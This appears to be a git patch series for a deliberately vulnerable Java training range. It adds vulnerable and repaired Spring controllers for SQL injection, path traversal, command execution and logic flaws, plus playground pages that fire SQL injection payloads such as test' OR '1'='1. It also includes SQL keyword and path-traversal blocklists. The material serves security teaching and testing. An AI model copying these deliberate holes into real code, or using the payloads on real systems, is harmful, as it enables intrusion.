From 7f8779e1ec446050a09c0b45d82dcbf76f201f40 Mon Sep 17 00:00:00 2001 From: lokerxx Date: Fri, 6 Sep 2024 22:40:51 +0800 Subject: [PATCH 1/9] =?UTF-8?q?=E6=9B=B4=E6=96=B0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 35 +++- SimpleAgent/Dockerfile | 4 + .../myapp/controller/CommandController.java | 1 + ...serController.java => SqliController.java} | 4 +- base_vul_repair/base_vul_repair.iml | 2 - .../com/myapp/controller/FileController.java | 109 ++++++++++++- ...serController.java => SqliController.java} | 37 ++++- .../java/com/myapp/mapper/UserMapper.java | 5 + .../java/com/myapp/service/UserService.java | 8 + .../main/java/com/myapp/util/FileFilter.java | 39 +++++ .../com/myapp/util/SqlInjectionFilter.java | 19 +++ .../src/main/resources/mapper/UserMapper.xml | 9 ++ index/vul.py | 35 +++- logic_vul/pom.xml | 99 ++++++++++++ logic_vul/result/ecommerceData.json | 111 +++++++++++++ logic_vul/result/personalData.json | 91 +++++++++++ logic_vul/result/userLoginData.json | 81 ++++++++++ .../main/java/com/myapp/MyApplication.java | 11 ++ .../myapp/controller/ECommerceController.java | 52 ++++++ .../controller/FakePersonDataController.java | 80 +++++++++ .../com/myapp/controller/IndexController.java | 153 ++++++++++++++++++ .../UnauthorizedAccessController.java | 74 +++++++++ .../src/main/resources/templates/index.html | 113 +++++++++++++ upload-images.sh | 8 + 24 files changed, 1170 insertions(+), 10 deletions(-) create mode 100644 SimpleAgent/Dockerfile rename base_vul/src/main/java/com/myapp/controller/{UserController.java => SqliController.java} (98%) delete mode 100644 base_vul_repair/base_vul_repair.iml rename base_vul_repair/src/main/java/com/myapp/controller/{UserController.java => SqliController.java} (72%) create mode 100644 base_vul_repair/src/main/java/com/myapp/util/FileFilter.java create mode 100644 base_vul_repair/src/main/java/com/myapp/util/SqlInjectionFilter.java create mode 100644 logic_vul/pom.xml create mode 100644 logic_vul/result/ecommerceData.json create mode 100644 logic_vul/result/personalData.json create mode 100644 logic_vul/result/userLoginData.json create mode 100644 logic_vul/src/main/java/com/myapp/MyApplication.java create mode 100644 logic_vul/src/main/java/com/myapp/controller/ECommerceController.java create mode 100644 logic_vul/src/main/java/com/myapp/controller/FakePersonDataController.java create mode 100644 logic_vul/src/main/java/com/myapp/controller/IndexController.java create mode 100644 logic_vul/src/main/java/com/myapp/controller/UnauthorizedAccessController.java create mode 100644 logic_vul/src/main/resources/templates/index.html diff --git a/README.md b/README.md index 4b7cc05..f4e6095 100644 --- a/README.md +++ b/README.md @@ -112,6 +112,38 @@ git clone https://github.com/lokerxx/JavaVul +## 支持靶场 + +| 文件夹 | 安全漏洞 | 测试用途 | 备注 | +| :-----------------------: | :----------------------------------------------------------: | :--------: | :-----------------------------------------------: | +| actuator_authorized_1.X | actuator 未授权访问 1.X | 修复 | | +| actuator_authorized_2.X | actuator 未授权访问 2.X | 修复 | | +| actuator_unauthorized_1.X | actuator 未授权访问 1.X | 漏洞 | | +| actuator_unauthorized_2.X | actuator 未授权访问 2.X | 漏洞 | | +| base_vul | SQL注入、XSS、不安全文件操作、重定向漏洞、正则DOS漏洞、Crlf注入漏洞、命令注入漏洞、SPEL漏洞、SSRF漏洞、SSTI漏洞、不安全反射漏洞、XXE漏洞 | 漏洞 | | +| base_vul_repair | SQL注入、XSS、不安全文件操作、重定向漏洞、正则DOS漏洞、Crlf注入漏洞、命令注入漏洞、SPEL漏洞、SSRF漏洞、SSTI漏洞、不安全反射漏洞、XXE漏洞 | 修复 | | +| cas_xxe | XXE漏洞 | 漏洞 | cas在3.1.1-3.5.1存在XXE漏洞
修复版本为3.6.0- | +| collections | collections 反序列化 | **未完成** | | +| CVE-2019-10173 | XStream反序列化漏洞 | 漏洞 | | +| CVE-2019-12384 | jackson-databind 反序列化漏洞 | 漏洞 | | +| druid_authorized | druid未授权漏洞 | 修复 | | +| druid_unauthorized | druid未授权漏洞 | 漏洞 | | +| fastjson-* | 各个版本fastjson反序列化漏洞 | 漏洞 | | +| Hibernate | Hibernate 注入漏洞 | 修复、漏洞 | | +| HSQLDB | HSQLDB 注入漏洞 | 修复、漏洞 | | +| jsp | | **未完成** | jsp版的base_vul | +| log4jvul | log4j2 漏洞 | 漏洞 | | +| microservice-*-service | 分布式服务 | 性能测试 | 用于验证分布式微服务的性能 | +| wxpay-xxe | 微信支付XXE漏洞 | 漏洞 | | +| logic_vul | 业务逻辑漏洞: | | | +| | | | | +| | | | | +| | | | | + + + + + ## 运行 访问:`http://宿主机IP:5000/` @@ -373,6 +405,7 @@ adding: my/agent/SimpleAgent.class(in = 492) (out= 320)(deflated 34%) - https://github.com/zhlu32/range_java_micro_service_seclab - https://rasp.baidu.com/doc/install/testcase.html - https://github.com/lemono0/FastJsonParty/ +- https://github.com/roottusk/vapi ## Star History Chart @@ -380,5 +413,5 @@ adding: my/agent/SimpleAgent.class(in = 492) (out= 320)(deflated 34%) ## 待进行 -- [ ] cas-client xxe(漏洞和修复) +- [x] cas-client xxe(漏洞和修复) - [ ] SQL注入传 order by 参数, 白名单列表(误报) diff --git a/SimpleAgent/Dockerfile b/SimpleAgent/Dockerfile new file mode 100644 index 0000000..4828a9a --- /dev/null +++ b/SimpleAgent/Dockerfile @@ -0,0 +1,4 @@ +FROM busybox + +RUN mkdir /agent_tmp +COPY SimpleAgent.jar /agent_tmp/agent.jar \ No newline at end of file diff --git a/base_vul/src/main/java/com/myapp/controller/CommandController.java b/base_vul/src/main/java/com/myapp/controller/CommandController.java index 4fa0b17..cce6903 100644 --- a/base_vul/src/main/java/com/myapp/controller/CommandController.java +++ b/base_vul/src/main/java/com/myapp/controller/CommandController.java @@ -12,6 +12,7 @@ public class CommandController { @GetMapping("/runtime_command_execute") public String executeRuntimeCommand(@RequestParam String command) throws IOException { String output = ""; + System.out.println("执行命令:"+command); Process process = Runtime.getRuntime().exec(command); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; diff --git a/base_vul/src/main/java/com/myapp/controller/UserController.java b/base_vul/src/main/java/com/myapp/controller/SqliController.java similarity index 98% rename from base_vul/src/main/java/com/myapp/controller/UserController.java rename to base_vul/src/main/java/com/myapp/controller/SqliController.java index 4df9801..4c6fd5f 100644 --- a/base_vul/src/main/java/com/myapp/controller/UserController.java +++ b/base_vul/src/main/java/com/myapp/controller/SqliController.java @@ -20,7 +20,7 @@ import java.util.Optional; @RestController -public class UserController { +public class SqliController { @Autowired private UserService userService; @@ -34,7 +34,7 @@ public class UserController { private final User4Repository user4Repository; // 构造函数注入 JdbcTemplate - public UserController(JdbcTemplate jdbcTemplate, UserLogic userLogic, User3Repository user3Repository, User4Repository user4Repository) { + public SqliController(JdbcTemplate jdbcTemplate, UserLogic userLogic, User3Repository user3Repository, User4Repository user4Repository) { this.jdbcTemplate = jdbcTemplate; this.userLogic = userLogic; this.user3Repository = user3Repository; diff --git a/base_vul_repair/base_vul_repair.iml b/base_vul_repair/base_vul_repair.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/base_vul_repair/base_vul_repair.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/base_vul_repair/src/main/java/com/myapp/controller/FileController.java b/base_vul_repair/src/main/java/com/myapp/controller/FileController.java index b716ba4..18072e2 100644 --- a/base_vul_repair/src/main/java/com/myapp/controller/FileController.java +++ b/base_vul_repair/src/main/java/com/myapp/controller/FileController.java @@ -1,5 +1,6 @@ package com.myapp.controller; +import org.apache.commons.lang.StringUtils; import org.springframework.util.ResourceUtils; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; @@ -15,11 +16,15 @@ import java.awt.image.BufferedImage; import java.io.*; import java.nio.file.Files; +import java.nio.file.InvalidPathException; import java.nio.file.Path; import java.nio.file.Paths; import java.util.Arrays; import java.util.List; +import com.myapp.util.FileFilter; + + @RestController public class FileController { @@ -84,8 +89,15 @@ public String handleFileUpload(@RequestParam("file") MultipartFile file, HttpSer @GetMapping("/file_read") public String readFile(@RequestParam String filePath) throws IOException { File file = new File(ResourceUtils.getFile(filePath).getAbsolutePath()); + String absolutePath = file.getAbsolutePath(); String canonicalPath = file.getCanonicalPath(); - if (!canonicalPath.startsWith(ResourceUtils.getFile(UPLOADS_FOLDER).getCanonicalPath())) { + String uploadPath = ResourceUtils.getFile(UPLOADS_FOLDER).getCanonicalPath(); + + System.out.println("Absolute Path: " + absolutePath); + System.out.println("Canonical Path: " + canonicalPath); + System.out.println("Canonical Path: " + uploadPath); + + if (!canonicalPath.startsWith(uploadPath)) { return "Access denied"; } if (!file.exists() || !file.isFile()) { @@ -104,6 +116,101 @@ public String readFile(@RequestParam String filePath) throws IOException { return stringBuilder.toString(); } + + @GetMapping("/file_read1") + public String readFile1(@RequestParam String filePath) throws IOException { + // 获取并规范化路径 + Path basePath = Paths.get(UPLOADS_FOLDER).toRealPath(); + Path resolvedPath = basePath.resolve(filePath).normalize(); + + // 检查是否在指定目录下 + if (!resolvedPath.startsWith(basePath)) { + return "Access denied"; + } + + // 检查文件是否存在、是否是文件、是否可读 + if (!Files.exists(resolvedPath) || !Files.isRegularFile(resolvedPath) || !Files.isReadable(resolvedPath)) { + return "File not found or cannot be read"; + } + + // 读取文件内容 + StringBuilder contentBuilder = new StringBuilder(); + try (BufferedReader reader = Files.newBufferedReader(resolvedPath)) { + String line; + while ((line = reader.readLine()) != null) { + contentBuilder.append(line).append("\n"); + } + } + + return contentBuilder.toString(); + } + + + + @GetMapping("/file_read2") + public String readFile2(@RequestParam String filePath) { + try { + // 首先过滤路径中的目录遍历字符 + if (!FileFilter.doFilter(filePath)) { + return "Access denied due to invalid path"; + } + + // 验证路径是否在指定的父目录中 + if (FileFilter.isValidDirectoryPath(filePath, UPLOADS_FOLDER)) { + Path resolvedPath = Paths.get(UPLOADS_FOLDER).resolve(filePath).normalize(); + + // 检查文件是否存在、是否是文件、是否可读 + if (!Files.exists(resolvedPath) || !Files.isRegularFile(resolvedPath) || !Files.isReadable(resolvedPath)) { + return "File not found or cannot be read"; + } + + // 读取文件内容 + StringBuilder contentBuilder = new StringBuilder(); + try (BufferedReader reader = Files.newBufferedReader(resolvedPath)) { + String line; + while ((line = reader.readLine()) != null) { + contentBuilder.append(line).append("\n"); + } + } + + return contentBuilder.toString(); + } else { + return "Access denied"; + } + } catch (InvalidPathException | IOException e) { + return "Invalid file path or access error"; + } + } + + + @GetMapping("/file_read3") + public String readFile3(@RequestParam String filePath) throws IOException { + File file = new File(ResourceUtils.getFile(filePath).getAbsolutePath()); + String absolutePath = file.getAbsolutePath(); + String canonicalPath = file.getCanonicalPath(); + String uploadPath = ResourceUtils.getFile(UPLOADS_FOLDER).getCanonicalPath(); + + + System.out.println("Absolute Path: " + absolutePath); + System.out.println("Canonical Path: " + canonicalPath); + System.out.println("Canonical Path: " + uploadPath); + + if (StringUtils.contains(filePath, "/") ) { + return "存在目录遍历漏洞"; + } + + BufferedReader reader = new BufferedReader(new FileReader(file)); + String line = null; + StringBuilder stringBuilder = new StringBuilder(); + while ((line = reader.readLine()) != null) { + stringBuilder.append(line); + } + reader.close(); + return stringBuilder.toString(); + } + + + @GetMapping("/file_write") public String writeFile(@RequestParam String fileName, @RequestParam String data) throws IOException { // 检查文件名是否包含目录遍历字符 diff --git a/base_vul_repair/src/main/java/com/myapp/controller/UserController.java b/base_vul_repair/src/main/java/com/myapp/controller/SqliController.java similarity index 72% rename from base_vul_repair/src/main/java/com/myapp/controller/UserController.java rename to base_vul_repair/src/main/java/com/myapp/controller/SqliController.java index 5f43e04..1c88154 100644 --- a/base_vul_repair/src/main/java/com/myapp/controller/UserController.java +++ b/base_vul_repair/src/main/java/com/myapp/controller/SqliController.java @@ -4,6 +4,7 @@ import com.myapp.model.User; import com.myapp.model.User2; import com.myapp.service.UserService; +import com.myapp.util.SqlInjectionFilter; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.ResponseEntity; import org.springframework.jdbc.core.JdbcTemplate; @@ -16,7 +17,7 @@ import java.util.Optional; @RestController -public class UserController { +public class SqliController { @Autowired private UserService userService; @@ -25,13 +26,12 @@ public class UserController { // 构造函数注入 JdbcTemplate - public UserController(JdbcTemplate jdbcTemplate, UserLogic userLogic) { + public SqliController(JdbcTemplate jdbcTemplate, UserLogic userLogic) { this.jdbcTemplate = jdbcTemplate; this.userLogic = userLogic; } - @Autowired private UserMapper userMapper; // http://127.0.0.1:8080/users/1/ @@ -41,6 +41,37 @@ public ResponseEntity getUser(@PathVariable String id) { return ResponseEntity.ok(user); } + // http://127.0.0.1:8080/users1/1/ + @GetMapping(value = "/users1/{id}", produces = "application/json") + public ResponseEntity getUser1(@PathVariable String id) { + try { + SqlInjectionFilter.validate(id); + User user = userService.findById1(id); + return ResponseEntity.ok(user); + } catch (IllegalArgumentException e) { + return ResponseEntity.badRequest().build(); + } + } + + // http://127.0.0.1:8080/users2/1/ + @GetMapping(value = "/users2/{id}", produces = "application/json") + public ResponseEntity getUser2(@PathVariable String id) { + try { + // 验证传入的id是否为有效的数字 + long userId = Long.parseLong(id); + User user = userService.findById2(userId); + return ResponseEntity.ok(user); + } catch (NumberFormatException e) { + // 如果id不是有效的数字,返回400 Bad Request + return ResponseEntity.badRequest().build(); + } catch (IllegalArgumentException e) { + // 处理其他非法参数异常 + return ResponseEntity.badRequest().build(); + } + } + + + // http://127.0.0.1:8080/users/ids/?ids=1,2,3 @GetMapping("/users/ids") public List findUsersByIds(@RequestParam String ids) { diff --git a/base_vul_repair/src/main/java/com/myapp/mapper/UserMapper.java b/base_vul_repair/src/main/java/com/myapp/mapper/UserMapper.java index bc3c976..3a084a1 100644 --- a/base_vul_repair/src/main/java/com/myapp/mapper/UserMapper.java +++ b/base_vul_repair/src/main/java/com/myapp/mapper/UserMapper.java @@ -11,6 +11,11 @@ public interface UserMapper { User findById(@Param("id") String id); + User findById1(@Param("id") String id); + + User findById2(@Param("id") Long id); + + List findUsersByIds(@Param("ids") String ids); List findUsersByNameLike(@Param("name") String name); diff --git a/base_vul_repair/src/main/java/com/myapp/service/UserService.java b/base_vul_repair/src/main/java/com/myapp/service/UserService.java index 3ce562b..3a109d5 100644 --- a/base_vul_repair/src/main/java/com/myapp/service/UserService.java +++ b/base_vul_repair/src/main/java/com/myapp/service/UserService.java @@ -16,6 +16,14 @@ public User findById(String id) { return userMapper.findById(id); } + public User findById1(String id) { + return userMapper.findById1(id); + } + + public User findById2(long id) { + return userMapper.findById2(id); + } + public List findUsersByName(String name) { return userMapper.findUsersByName(name); } diff --git a/base_vul_repair/src/main/java/com/myapp/util/FileFilter.java b/base_vul_repair/src/main/java/com/myapp/util/FileFilter.java new file mode 100644 index 0000000..cc23893 --- /dev/null +++ b/base_vul_repair/src/main/java/com/myapp/util/FileFilter.java @@ -0,0 +1,39 @@ +package com.myapp.util; +import java.io.IOException; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.util.regex.*; + +public class FileFilter { + + private static final Pattern PATH_TRAVERSAL_PATTERN = Pattern.compile(".*[.]{2,}.*|.*[%]{2,}.*|.*[/]{2,}.*", Pattern.CASE_INSENSITIVE); + + /** + * 过滤路径中的目录遍历关键字符 + * + * @param path 要验证的路径 + * @return 如果路径包含目录遍历字符返回 false,否则返回 true + */ + public static boolean doFilter(String path) { + if (path == null || path.isEmpty()) { + return false; + } + return !PATH_TRAVERSAL_PATTERN.matcher(path).matches(); + } + + /** + * 验证路径是否在指定的父目录中 + * + * @param path 要验证的路径 + * @param parentDir 父目录 + * @return 如果路径在父目录中返回 true,否则返回 false + * @throws IOException 如果路径无法解析为绝对路径 + */ + public static boolean isValidDirectoryPath(String path, String parentDir) throws IOException { + Path basePath = Paths.get(parentDir).toRealPath().normalize(); + Path targetPath = basePath.resolve(path).normalize(); + + return targetPath.startsWith(basePath); + } + +} diff --git a/base_vul_repair/src/main/java/com/myapp/util/SqlInjectionFilter.java b/base_vul_repair/src/main/java/com/myapp/util/SqlInjectionFilter.java new file mode 100644 index 0000000..a042754 --- /dev/null +++ b/base_vul_repair/src/main/java/com/myapp/util/SqlInjectionFilter.java @@ -0,0 +1,19 @@ +package com.myapp.util; + +public class SqlInjectionFilter { + + private static final String[] SQL_INJECTION_KEYWORDS = { + "SELECT", "INSERT", "UPDATE", "DELETE", "DROP", "ALTER", "--", ";", "/*", "*/", "@@", "CHAR", "NCHAR", "VARCHAR", "NVARCHAR", "ALTER", "BEGIN", "CAST", "CREATE", "CURSOR", "DECLARE", "END", "EXEC", "FETCH", "KILL", "OPEN", "SYS", "SYSOBJECTS", "SYSUSERS", "TABLE", "INFORMATION_SCHEMA", "UNION" + }; + + public static void validate(String input) throws IllegalArgumentException { + if (input != null) { + String upperInput = input.toUpperCase(); + for (String keyword : SQL_INJECTION_KEYWORDS) { + if (upperInput.contains(keyword)) { + throw new IllegalArgumentException("Invalid input detected"); + } + } + } + } +} diff --git a/base_vul_repair/src/main/resources/mapper/UserMapper.xml b/base_vul_repair/src/main/resources/mapper/UserMapper.xml index 05b26b1..cdf236c 100644 --- a/base_vul_repair/src/main/resources/mapper/UserMapper.xml +++ b/base_vul_repair/src/main/resources/mapper/UserMapper.xml @@ -8,6 +8,15 @@ SELECT * FROM users WHERE id = '#{id}' + + + + +
等待发送请求...
" + + ""; + } + + private String style() { + return ""; + } + + private String esc(String value) { + return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); + } +} diff --git a/CVE-2019-12384/CVE-2019-12384.iml b/CVE-2019-12384/CVE-2019-12384.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/CVE-2019-12384/CVE-2019-12384.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/CVE-2019-12384/src/main/java/myapp/PlaygroundController.java b/CVE-2019-12384/src/main/java/myapp/PlaygroundController.java new file mode 100644 index 0000000..ae552ec --- /dev/null +++ b/CVE-2019-12384/src/main/java/myapp/PlaygroundController.java @@ -0,0 +1,22 @@ +package myapp; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class PlaygroundController { + + @GetMapping(value = {"/", "/playground"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return "Jackson Databind CVE-2019-12384" + style() + + "

Jackson Databind CVE-2019-12384

该项目的利用逻辑封装在服务端代码里。点击按钮会直接触发 /CVE-2019-12384

" + + "
等待发送请求...
" + + ""; + } + + private String style() { + return ""; + } +} diff --git a/HSQLDB/HSQLDB.iml b/HSQLDB/HSQLDB.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/HSQLDB/HSQLDB.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/HSQLDB/src/main/java/com/myapp/PlaygroundController.java b/HSQLDB/src/main/java/com/myapp/PlaygroundController.java new file mode 100644 index 0000000..b9141db --- /dev/null +++ b/HSQLDB/src/main/java/com/myapp/PlaygroundController.java @@ -0,0 +1,29 @@ +package com.myapp; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class PlaygroundController { + + @GetMapping(value = {"/", "/playground"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return "HSQLDB Playground" + style() + + "

HSQLDB Playground

默认 payload 使用 test' OR '1'='1,这样更容易看到漏洞版返回多条、修复版返回空结果的差异。

" + + panel("attack","HSQLDB attack","/hsqldb?username=test%27%20OR%20%271%27%3D%271") + + panel("repair","HSQLDB repair","/hsqldb_repair?username=test%27%20OR%20%271%27%3D%271") + + "
"; + } + + private String panel(String id, String title, String path) { + return "

" + title + "

等待发送请求...
"; + } + + private String style() { + return ""; + } +} diff --git a/HSQLDB/src/main/resources/application.properties b/HSQLDB/src/main/resources/application.properties index d8bc2bf..96c81c1 100644 --- a/HSQLDB/src/main/resources/application.properties +++ b/HSQLDB/src/main/resources/application.properties @@ -2,3 +2,5 @@ spring.datasource.url=jdbc:hsqldb:mem:testdb spring.datasource.username=sa spring.datasource.password= spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver +spring.jpa.hibernate.ddl-auto=create-drop +spring.jpa.defer-datasource-initialization=true diff --git a/HSQLDB/src/main/resources/data.sql b/HSQLDB/src/main/resources/data.sql new file mode 100644 index 0000000..6720ccb --- /dev/null +++ b/HSQLDB/src/main/resources/data.sql @@ -0,0 +1,4 @@ +INSERT INTO user (id, username) VALUES (1, 'test'); +INSERT INTO user (id, username) VALUES (2, 'admin'); +INSERT INTO user (id, username) VALUES (3, 'guest'); +INSERT INTO user (id, username) VALUES (4, 'demo'); diff --git a/Hibernate/Hibernate.iml b/Hibernate/Hibernate.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/Hibernate/Hibernate.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/Hibernate/src/main/java/com/myapp/PlaygroundController.java b/Hibernate/src/main/java/com/myapp/PlaygroundController.java new file mode 100644 index 0000000..f51a3c3 --- /dev/null +++ b/Hibernate/src/main/java/com/myapp/PlaygroundController.java @@ -0,0 +1,31 @@ +package com.myapp; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class PlaygroundController { + + @GetMapping(value = {"/", "/playground"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + String attackPath = "/Hibernate_injection?username=test%27%20OR%20%271%27%3D%271"; + String repairPath = "/Hibernate_injection_repair?username=test%27%20OR%20%271%27%3D%271"; + return "Hibernate Playground" + style() + + "

Hibernate Playground

默认 payload 使用 test' OR '1'='1,这样更容易看到漏洞版返回多条、修复版返回空结果的差异。

" + + panel("attack","Hibernate attack",attackPath) + + panel("repair","Hibernate repair",repairPath) + + "
"; + } + + private String panel(String id, String title, String path) { + return "

" + title + "

等待发送请求...
"; + } + + private String style() { + return ""; + } +} diff --git a/Hibernate/src/main/resources/application.properties b/Hibernate/src/main/resources/application.properties index 617389d..96c81c1 100644 --- a/Hibernate/src/main/resources/application.properties +++ b/Hibernate/src/main/resources/application.properties @@ -1,4 +1,6 @@ spring.datasource.url=jdbc:hsqldb:mem:testdb spring.datasource.username=sa spring.datasource.password= -spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver \ No newline at end of file +spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver +spring.jpa.hibernate.ddl-auto=create-drop +spring.jpa.defer-datasource-initialization=true diff --git a/Hibernate/src/main/resources/data.sql b/Hibernate/src/main/resources/data.sql new file mode 100644 index 0000000..6720ccb --- /dev/null +++ b/Hibernate/src/main/resources/data.sql @@ -0,0 +1,4 @@ +INSERT INTO user (id, username) VALUES (1, 'test'); +INSERT INTO user (id, username) VALUES (2, 'admin'); +INSERT INTO user (id, username) VALUES (3, 'guest'); +INSERT INTO user (id, username) VALUES (4, 'demo'); diff --git a/README.md b/README.md index f4e6095..7ad68d3 100644 --- a/README.md +++ b/README.md @@ -126,6 +126,8 @@ git clone https://github.com/lokerxx/JavaVul | collections | collections 反序列化 | **未完成** | | | CVE-2019-10173 | XStream反序列化漏洞 | 漏洞 | | | CVE-2019-12384 | jackson-databind 反序列化漏洞 | 漏洞 | | +| shior-1.2.4 | Apache Shiro 1.2.4 RememberMe 反序列化漏洞 | 漏洞 | CVE-2016-4437 | +| shiro-1.25_1.42 | Apache Shiro RememberMe Padding Oracle 靶场 | 漏洞 | CVE-2019-12422 | | druid_authorized | druid未授权漏洞 | 修复 | | | druid_unauthorized | druid未授权漏洞 | 漏洞 | | | fastjson-* | 各个版本fastjson反序列化漏洞 | 漏洞 | | diff --git a/actuator_authorized_1.X/actuator_authorized_1.X.iml b/actuator_authorized_1.X/actuator_authorized_1.X.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/actuator_authorized_1.X/actuator_authorized_1.X.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/actuator_authorized_1.X/src/main/java/com/myapp/ActuatorPageController.java b/actuator_authorized_1.X/src/main/java/com/myapp/ActuatorPageController.java new file mode 100644 index 0000000..10fc8df --- /dev/null +++ b/actuator_authorized_1.X/src/main/java/com/myapp/ActuatorPageController.java @@ -0,0 +1,28 @@ +package com.myapp; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class ActuatorPageController { + + @GetMapping(value = {"/", "/actuator-authorized-1x"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return "" + + "Actuator 1.X 修复测试页" + + style() + + "

Actuator 1.X 修复测试页

" + + "

这个页面用于验证修复效果。默认访问当前服务的 /trace,你也可以手动改目标路径再发送。

" + + "" + + "
" + + "
等待发送请求...
" + + "" + + ""; + } + + private String style() { + return ""; + } +} diff --git a/actuator_authorized_2.X/actuator_authorized.iml b/actuator_authorized_2.X/actuator_authorized.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/actuator_authorized_2.X/actuator_authorized.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/actuator_authorized_2.X/src/main/java/com/myapp/ActuatorPageController.java b/actuator_authorized_2.X/src/main/java/com/myapp/ActuatorPageController.java new file mode 100644 index 0000000..50bb3af --- /dev/null +++ b/actuator_authorized_2.X/src/main/java/com/myapp/ActuatorPageController.java @@ -0,0 +1,30 @@ +package com.myapp; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class ActuatorPageController { + + @GetMapping(value = {"/", "/actuator-authorized-2x"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return "" + + "Actuator 2.X 修复测试页" + + style() + + "

Actuator 2.X 修复测试页

" + + "

默认会用 Basic Auth 请求当前服务的 /actuator。你可以修改账号、密码或目标路径后再发送。

" + + "" + + "" + + "" + + "
" + + "
等待发送请求...
" + + "" + + ""; + } + + private String style() { + return ""; + } +} diff --git a/actuator_authorized_2.X/src/main/java/com/myapp/SecurityConfig.java b/actuator_authorized_2.X/src/main/java/com/myapp/SecurityConfig.java new file mode 100644 index 0000000..ff47969 --- /dev/null +++ b/actuator_authorized_2.X/src/main/java/com/myapp/SecurityConfig.java @@ -0,0 +1,23 @@ +package com.myapp; + +import org.springframework.context.annotation.Configuration; +import org.springframework.security.config.annotation.web.builders.HttpSecurity; +import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; + +@Configuration +public class SecurityConfig extends WebSecurityConfigurerAdapter { + + @Override + protected void configure(HttpSecurity http) throws Exception { + http + .csrf().disable() + .authorizeRequests() + .antMatchers("/", "/actuator-authorized-2x", "/error").permitAll() + .antMatchers("/actuator", "/actuator/**").authenticated() + .anyRequest().permitAll() + .and() + .httpBasic() + .and() + .formLogin(); + } +} diff --git a/actuator_unauthorized_1.X/actuator_unauthorized_1.X.iml b/actuator_unauthorized_1.X/actuator_unauthorized_1.X.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/actuator_unauthorized_1.X/actuator_unauthorized_1.X.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/actuator_unauthorized_1.X/src/main/java/com/myapp/ActuatorPageController.java b/actuator_unauthorized_1.X/src/main/java/com/myapp/ActuatorPageController.java new file mode 100644 index 0000000..8966246 --- /dev/null +++ b/actuator_unauthorized_1.X/src/main/java/com/myapp/ActuatorPageController.java @@ -0,0 +1,28 @@ +package com.myapp; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class ActuatorPageController { + + @GetMapping(value = {"/", "/actuator-unauthorized-1x"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return "" + + "Actuator 1.X 未授权测试页" + + style() + + "

Actuator 1.X 未授权测试页

" + + "

点击按钮会直接访问当前服务的 /trace 接口。你也可以修改目标路径后再发起请求。

" + + "" + + "
" + + "
等待发送请求...
" + + "" + + ""; + } + + private String style() { + return ""; + } +} diff --git a/actuator_unauthorized_2.X/actuator_unauthorized.iml b/actuator_unauthorized_2.X/actuator_unauthorized.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/actuator_unauthorized_2.X/actuator_unauthorized.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/actuator_unauthorized_2.X/src/main/java/com/myapp/ActuatorPageController.java b/actuator_unauthorized_2.X/src/main/java/com/myapp/ActuatorPageController.java new file mode 100644 index 0000000..c459b81 --- /dev/null +++ b/actuator_unauthorized_2.X/src/main/java/com/myapp/ActuatorPageController.java @@ -0,0 +1,28 @@ +package com.myapp; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class ActuatorPageController { + + @GetMapping(value = {"/", "/actuator-unauthorized-2x"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return "" + + "Actuator 2.X 未授权测试页" + + style() + + "

Actuator 2.X 未授权测试页

" + + "

点击按钮会直接访问当前服务的 /actuator 接口。你也可以修改目标路径后再发起请求。

" + + "" + + "
" + + "
等待发送请求...
